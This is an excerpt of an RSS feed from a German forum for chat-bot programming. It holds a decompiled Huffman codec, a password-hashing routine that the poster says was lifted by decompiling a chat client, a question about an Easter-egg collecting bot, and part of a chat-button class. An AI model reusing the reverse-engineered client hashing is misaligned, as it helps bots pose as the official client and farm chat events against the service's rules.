&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return null;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StringBuffer stringbuffer = new StringBuffer((buffer.length * 100) / 60);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f = buffer;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Object aobj[] = b;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; do {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (e) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aobj = (Object[]) aobj[a()];<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (aobj[0] == null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (aobj[1] == a) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int i = 0;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int j = 0; j &lt; 16; j++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i += a() &lt;&lt; j;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stringbuffer.append((char) i);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stringbuffer.append((String) aobj[1]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aobj = b;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } while (true);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String s = stringbuffer.toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d += s.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c += buffer.length;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return s;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final boolean a(Object aobj[], String s, int i, int j) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (j == 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aobj[1] = s;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return aobj[0] == null;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (aobj[0] == null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (aobj[1] != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aobj[0] = ((Object) (new Object[2]));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aobj[1] = ((Object) (new Object[2]));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return a((Object[]) aobj[i &amp; 1], s, i &gt;&gt; 1, j - 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final int a() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int i = 0;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((f[h] &amp; 1 &lt;&lt; g) != 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i = 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g++;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (g &gt; 7) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e = h == f.length;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return i;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final int a(int i, int j) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int k = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int l = 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int i1 = 1 &lt;&lt; j - 1;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (; j &gt; 0; j--) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((i &amp; l) != 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k += i1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; l &lt;&lt;= 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 &gt;&gt;= 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return k;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}</code><hr />
</div><b>Beispiel</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">String str = &quot;Sample&quot;;<br />
byte[] encoded = Huffman.getEncoder().encode(str, 0); // Den zweiten Parameter setzen wir einfach immer 0, hat soweit ich das verstanden habe was mit der Länge des zu enkodierenden Strings zu tun.<br />
String decoded = Huffman.getDecoder().decode(encoded);<br />
System.out.println(decoded); // &quot;Sample&quot;</code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-huffman-10504</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Passwort-Kodierung v9.0alq]]></title>
			<link>sourcecode-91/java-passwort-kodierung-v9-0alq-10494?goto=newpost</link>
			<pubDate>Sun, 08 Apr 2012 22:57:19 GMT</pubDate>
			<description>Code: 
--------- 
import java.io.Serializable; 
 
/** 
 * 
 * @author Flav 
 */ 
public class Password {</description>
			<content:encoded><![CDATA[<div><div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">import java.io.Serializable;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class Password {<br />
&nbsp; &nbsp; private static final int c(Object obj)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; String s1 = obj.toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i1 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int j1 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int k1 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int l1 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i2 = s1.length(); l1 &lt; i2; l1++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j1 = j1 * ((k1 &amp; 3) == 3 ? 3 : 5) + s1.charAt(i2 - l1 - 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k1 = i1 ^ j1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 = i1 * ((k1 &amp; 4) != 0 ? 7 : 3) + s1.charAt((l1 * 43973) % i2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return k1 &gt;&gt;&gt; 26 ^ (j1 ^ i1) &amp; 0x3ffffff;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static String a(String s1, String s2)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i1 = s1.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; int j1 = s2.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; int k1 = i1 ^ j1 &lt;&lt; 4;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if(i1 &lt; 1)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return s1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if(j1 &lt; 1)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return s2;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int l1 = i1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if(j1 &gt; l1)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; l1 = j1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; StringBuffer stringbuffer = new StringBuffer(l1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int i2 = 0; i2 &lt; l1; i2++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stringbuffer.append((char)(s1.charAt(i2 % i1) ^ s2.charAt(i2 % j1) ^ k1));<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return stringbuffer.toString();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; private static int ah(String s1)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i1 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int j1 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int k1 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int l1 = s1.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; if(l1 &lt; 19)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int i2 = l1 - 1; i2 &gt;= 0; i2--)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 = i1 * 3 + s1.charAt(i2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j1 = j1 * 5 + s1.charAt(l1 - i2 - 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; } else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int j2 = l1 / 19;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int l2 = l1 - 1; l2 &gt;= 0; l2 -= j2)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 = i1 * 5 + s1.charAt(l2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j1 = j1 * 3 + s1.charAt(l1 - l2 - 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; k1 = i1 ^ j1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; return k1 &amp; 0xffffff ^ k1 &gt;&gt; 24;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static String a(Object obj, Serializable serializable)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; String s1 = obj.toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i1 = s1.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; String s2 = serializable.toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; int j1 = s2.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; int k1 = j1 ^ i1 &lt;&lt; 3;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int l1 = i1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if(j1 &lt; 1)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return s1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if(i1 &lt; 1)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return s2;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if(j1 &gt; l1)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; l1 = j1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; StringBuffer stringbuffer = new StringBuffer(l1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i2 = s2.charAt(0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; int j2 = s1.charAt(0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; for(int l2 = 0; l2 &lt; l1;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(i2 &gt;= i1)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i2 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(j2 &gt;= j1)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j2 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stringbuffer.append((char)(k1 ^ s1.charAt(i2) ^ s2.charAt(j2)));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; l2++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i2++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j2++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return stringbuffer.toString();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static void main(String[] args) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; String password = &quot;PASSWORT&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; password = password.trim();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (password.isEmpty()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; password = &quot; &quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; String s5 = &quot;xyz&quot;; // password key<br />
&nbsp; &nbsp; &nbsp; &nbsp; int i1 = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; String s6 = &quot;tXx&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; s5 = a(s5, ((Serializable) (&quot;GBVTUrWhMGF&quot;)));<br />
&nbsp; &nbsp; &nbsp; &nbsp; i1 = (s5.length() * 3) / 4;<br />
&nbsp; &nbsp; &nbsp; &nbsp; i1 = (s5.charAt(i1) + 1) % s5.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; s5 = (new StringBuilder()).append(&quot;&quot;).append(a((new StringBuilder()).append(&quot;&quot;).append(c(s5.substring(0, i1)) * c(s5.substring(0, i1))).toString(), ((Serializable) (s5.substring(i1))))).append(a((new StringBuilder()).append(&quot;&quot;).append(c(s5.substring(i1)) * c(s5.substring(i1))).append(0x52a6ab61).toString(), ((Serializable) (s5.substring(0, i1))))).toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; i1 = Math.abs((c(s5) ^ s5.length()) % s5.length());<br />
&nbsp; &nbsp; &nbsp; &nbsp; i1 = (s5.charAt(i1) + 19) % s5.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; if(i1 == 0)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 = s5.length() / 2;<br />
&nbsp; &nbsp; &nbsp; &nbsp; s5 = (new StringBuilder()).append(a(s5.substring(i1), ((Serializable) (&quot;NJ&quot;)))).append(s5.substring(0, i1)).toString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; if(i1 % 7 != 5)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s6 = &quot;jlK&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; s5 = (new StringBuilder()).append(s6).append(s5).toString();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; int hash = ah(a(password, s5));<br />
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(hash);<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div>1-zu-1 aus dem Client übernommen wie der Decompiler es ausgespuckt hat, wird also nur für v9.0alq funktionieren.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-passwort-kodierung-v9-0alq-10494</guid>
		</item>
		<item>
			<title>Ostereier Sammelbot Frage?</title>
			<link>sourcecode-91/ostereier-sammelbot-frage-10419?goto=newpost</link>
			<pubDate>Sat, 07 Apr 2012 21:02:08 GMT</pubDate>
			<description>Hallo ich wolte fragen wie ich für einen ostereier sammelbot die channel raussplitte (eventuel auch regex aber damit kenn ich mich nicht sehr aus) 
...</description>
			<content:encoded><![CDATA[<div>Hallo ich wolte fragen wie ich für einen ostereier sammelbot die channel raussplitte (eventuel auch regex aber damit kenn ich mich nicht sehr aus)<br />
<br />
Also wenn man in nem channel /osterei eingibt dann schreibt james dir ja ne pm du kannst diese funktion nur in folgenden channeln benutzen (ab da wolte ich rausplitten)<br />
<br />
Were nett wenn ihr mir helft :)</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Sploxfreak</dc:creator>
			<guid isPermaLink="true">sourcecode-91/ostereier-sammelbot-frage-10419</guid>
		</item>
		<item>
			<title><![CDATA[[JAVA] KButton]]></title>
			<link>sourcecode-91/java-kbutton-10240?goto=newpost</link>
			<pubDate>Wed, 04 Apr 2012 15:49:13 GMT</pubDate>
			<description>Hey, 
 
als ich heute meine /edit machen wollte, ist mir aufgefallen, dass es bei den Buttons, die nicht standardmäßig beim Popup implementiert sind,...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
<br />
als ich heute meine /edit machen wollte, ist mir aufgefallen, dass es bei den Buttons, die nicht standardmäßig beim Popup implementiert sind, es Parameter gibt, die das Aussehen und die Eigenschaften beeinflussen.<br />
<br />
Ich habe mir die Eigenschaften(u.a. enable, visible, ...) aus dem akn-Applet rausgesucht und daraus eine Klasse gebaut.<br />
<br />
Das Prinzip ist relativ einfach:<br />
<br />
°&gt;{button} Text||call|/Befehl |Parameter1|Value1|Parameter 2|Value2&lt;°<br />
<br />
Dennoch ist es natürlich einfacher, wenn man eine Klasse dafür hat, damit man sich die Parameter nicht merken muss und das ganze einfach praktischer hat.<br />
<br />
Beispiel-Code (+Screen):<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">tools</span><span style="color: #007700">.</span><span style="color: #0000BB">objects</span><span style="color: #007700">.</span><span style="color: #0000BB">KButton&nbsp;testButton&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">tools</span><span style="color: #007700">.</span><span style="color: #0000BB">objects</span><span style="color: #007700">.</span><span style="color: #0000BB">KButton</span><span style="color: #007700">(</span><span style="color: #DD0000">"HEY&nbsp;KIDS!"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"/m&nbsp;-"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">testButton</span><span style="color: #007700">.</span><span style="color: #0000BB">setWidth</span><span style="color: #007700">(</span><span style="color: #0000BB">100</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">testButton</span><span style="color: #007700">.</span><span style="color: #0000BB">setHeight</span><span style="color: #007700">(</span><span style="color: #0000BB">40</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">testButton</span><span style="color: #007700">.</span><span style="color: #0000BB">setIcon</span><span style="color: #007700">(</span><span style="color: #DD0000">"sm_00.gif"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//testButton.setCursor(Cursor.HAND_CURSOR);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>=&gt; Siehe Anhang!<br />
<br />
Klasse:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">package&nbsp;tools</span><span style="color: #007700">.</span><span style="color: #0000BB">objects</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">awt</span><span style="color: #007700">.</span><span style="color: #0000BB">Cursor</span><span style="color: #007700">;<br /><br /></span><span style="color: #FF8000">/**<br />&nbsp;*&nbsp;Button&nbsp;Class&nbsp;for&nbsp;Knoedels.<br />&nbsp;*&nbsp;http://creativecommons.org/licenses/by/3.0/<br />&nbsp;*&nbsp;@author&nbsp;Mentos<br />&nbsp;*/<br /></span><span style="color: #007700">public&nbsp;class&nbsp;</span><span style="color: #0000BB">KButton&nbsp;</span><span style="color: #007700">{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">String&nbsp;text</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">String&nbsp;command</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">String&nbsp;textColor</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//255,255,255<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">String&nbsp;disabledTextColor</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//255,255,255<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">String&nbsp;iconPath</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//sm_classic_yellow.gif<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">String&nbsp;images</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//button-blue~hoverbutton-blue~button-blue.mx_1.my_1&lt;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">String&nbsp;color</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//200,200,200<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">boolean&nbsp;enabled</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">boolean&nbsp;visible</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">boolean&nbsp;textBorder</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">boolean&nbsp;border</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;width</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;height</span><span style="color: #007700">;<br 